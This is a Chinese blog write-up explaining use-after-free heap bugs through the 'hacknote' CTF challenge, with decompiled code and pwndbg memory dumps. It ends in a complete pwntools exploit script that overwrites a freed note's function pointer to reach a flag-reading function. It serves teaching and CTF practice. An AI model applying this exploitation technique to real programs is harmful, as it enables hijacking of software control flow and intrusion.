堆漏洞-UAF漏洞简析

UAF

use after free,其内容如同其名称。在free后进行利用。UAF是堆结构漏洞的一种重要的利用方式。

内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。
内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转。
内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题。

而我们一般所指的 Use After Free 漏洞主要是后两种。此外,我们一般称被释放后没有被设置为 NULL 的内存指针为 dangling pointer。

在计算机编程领域中,迷途指针,或称悬空指针、野指针,指的是不指向任何合法的对象的指针

当所指向的对象被释放或者收回,但是对该指针没有作任何的修改,以至于该指针仍旧指向已经回收的内存地址,此情况下该指针便称迷途指针。若操作系统将这部分已经释放的内存重新分配给另外一个进程,而原来的程序重新引用现在的迷途指针,则将产生无法预料的后果。因为此时迷途指针所指向的内存现在包含的已经完全是不同的数据。通常来说,若原来的程序继续往迷途指针所指向的内存地址写入数据,这些和原来程序不相关的数据将被损坏,进而导致不可预料的程序错误。这种类型的程序错误,不容易找到问题的原因,通常会导致存储器区块错误(Linux系统中)和一般保护错误(Windows系统中)。如果操作系统的内存分配器将已经被覆盖的数据区域再分配,就可能会影响系统的稳定性。

hacknote

在这里插入图片描述

很明显的一个菜单题,也是堆类题的模板,大多数的呈现形式也是这样的。

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v5; // [esp+Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      read(0, &buf, 4u);
      v3 = atoi(&buf);
      if ( v3 != 2 )
        break;
      del_note();
    }
    if ( v3 > 2 )
    {
      if ( 

各个功能函数不一一分析,基本的逆向功底,而且并不会很复杂,我们主要关注一下del_note。

unsigned int del_note()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 >= count )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( notelist[v1] )
  {
    free(*((void **)notelist[v1] + 1));
    free(notelist[v1]);
    puts("Success");
  }
  return __readgsdword(0x14u) ^ v3;
}

可以发现其中在对notelist内容进行判断的时候,对note对应的结构体的两项进行了free,而没有置为null。

    free(*((void **)notelist[v1] + 1));
    free(notelist[v1]);

查看notelist的地址。

.bss:0804A070 notelist        dd ?                    ; DATA XREF: add_note+40↑r
.bss:0804A070                                         ; add_note+61↑w ...
.bss:0804A074                 db    ? ;
.bss:0804A075                 db    ? ;
.bss:0804A076                 db    ? ;
.bss:0804A077                 db    ? ;
.bss:0804A078                 db    ? ;
.bss:0804A079                 db    ? ;
.bss:0804A07A                 db    ? ;
.bss:0804A07B                 db    ? ;
.bss:0804A07C                 db    ? ;
.bss:0804A07D                 db    ? ;
.bss:0804A07E                 db    ? ;
.bss:0804A07F                 db    ? ;
.bss:0804A080                 db    ? ;
.bss:0804A081                 db    ? ;
.bss:0804A082                 db    ? ;
.bss:0804A083                 db    ? ;
.bss:0804A083 _bss            ends

在这里插入图片描述

申请堆块之前(添加note之前):

pwndbg> x/20wx 0x0804a070
0x804a070 <notelist>:	0x00000000	0x00000000	0x00000000	0x00000000
0x804a080 <notelist+16>:	0x00000000	0x00000000	0x00000000	0x00000000
0x804a090:	0x00000000	0x00000000	0x00000000	0x00000000
0x804a0a0:	0x00000000	0x00000000	0x00000000	0x00000000
0x804a0b0:	0x00000000	0x00000000	0x00000000	0x00000000
pwndbg> bin
bins: Heap is not initialized yet.

申请两个堆块之后(添加两次)

pwndbg> c
Continuing.
----------------------
       HackNote       
----------------------
 1. Add note          
 2. Delete note       
 3. Print note        
 4. Exit              
----------------------
Your choice :1
Note size :12
Content :aaaa
Success !
----------------------
       HackNote       
----------------------
 1. Add note          
 2. Delete note       
 3. Print note        
 4. Exit              
----------------------
Your choice :1
Note size :10
Content :aaaa
Success !

pwndbg> x/20wx 0x0804a070
0x804a070 <notelist>:	0x0804b1a0	0x0804b1c0	0x00000000	0x00000000
0x804a080 <notelist+16>:	0x00000000	0x00000000	0x00000000	0x00000000
0x804a090:	0x00000000	0x00000000	0x00000000	0x00000000
0x804a0a0:	0x00000000	0x00000000	0x00000000	0x00000000
0x804a0b0:	0x00000000	0x00000000	0x00000000	0x00000000

pwndbg> bin
tcachebins
empty
fastbins
0x10: 0x0
0x18: 0x0
0x20: 0x0
0x28: 0x0
0x30: 0x0
0x38: 0x0
0x40: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

这里需要注意的是malloc指针其实指向的是chunk的内容部分,如果想要看完整的chunk结构体还要减去0x8(64位减0x10),因为需要把prev_size和size部分让出来。

pwndbg> x/20wx 0x0804b198
0x804b198:	0x00000000	0x00000011	0x0804865b	0x0804b1b0
0x804b1a8:	0x00000000	0x00000011	0x61616161	0x0000000a
0x804b1b8:	0x00000000	0x00000011	0x0804865b	0x0804b1d0
0x804b1c8:	0x00000000	0x00000011	0x61616161	0x0000000a
0x804b1d8:	0x00000000	0x00021e29	0x00000000	0x00000000

struct_chunk和content_chunk是紧紧挨在一起的,图形化结构如下:(省略画图,直接引用图来自引用博文

在这里插入图片描述

其中0x0804865b是print_note_content的地址。

我们接下来将两个结构体free了

pwndbg> x/20wx 0x0804b198
0x804b198:	0x00000000	0x00000011	0x0804b1b0	0x0804b010
0x804b1a8:	0x00000000	0x00000011	0x00000000	0x0804b010
0x804b1b8:	0x00000000	0x00000011	0x0804b1d0	0x0804b010
0x804b1c8:	0x00000000	0x00000011	0x0804b1a0	0x0804b010
0x804b1d8:	0x00000000	0x00021e29	0x00000000	0x00000000

pwndbg> bin
tcachebins
0x10 [  4]: 0x804b1c0 —▸ 0x804b1d0 —▸ 0x804b1a0 —▸ 0x804b1b0 ◂— 0x0
fastbins
0x10: 0x0
0x18: 0x0
0x20: 0x0
0x28: 0x0
0x30: 0x0
0x38: 0x0
0x40: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

(后续复现出现一些区别,留个坑后面填)

回到上头重新创建两个结构体,大小经历在(13`28之间,使得size大小内容为0x00000021)

造好后的chunck信息如下:

pwndbg> x/60wx 0x0804b198
0x804b198:	0x00000000	0x00000011	0x0804865b	0x0804b1b0
0x804b1a8:	0x00000000	0x00000021	0x61616161	0x61616161
0x804b1b8:	0x0000000a	0x00000000	0x00000000	0x00000000
0x804b1c8:	0x00000000	0x00000011	0x0804865b	0x0804b1e0
0x804b1d8:	0x00000000	0x00000021	0x61616161	0x61616161
0x804b1e8:	0x0000000a	0x00000000	0x00000000	0x00000000

虽然chunk在一起,但是无法进行溢出。没有修改功能,也不能自己构造结构体。那么只能去考虑释放与重新申请的过程中能够有所突破。假设我们将print()函数指针替换成system(“cat flag”)指针就可以拿到flag了。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
r = process('./hacknote')

def addnote(size, content):
    r.recvuntil(":")
    r.sendline("1")
    r.recvuntil(":")
    r.sendline(str(size))
    r.recvuntil(":")
    r.sendline(content)
def delnote(idx):
    r.recvuntil(":")
    r.sendline("2")
    r.recvuntil(":")
    r.sendline(str(idx))
def printnote(idx):
    r.recvuntil(":")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))
#gdb.attach(r)
magic = 0x08048986
addnote(32, "aaaa") # add note 0
addnote(32, "ddaa") # add note 1
delnote(0) # delete note 0
delnote(1) # delete note 1
addnote(8, p32(magic)) # add note 2
printnote(0) # print note 0

https://my.oschina.net/u/4345478/blog/4656767
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/use_after_free-zh/

  • 6
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值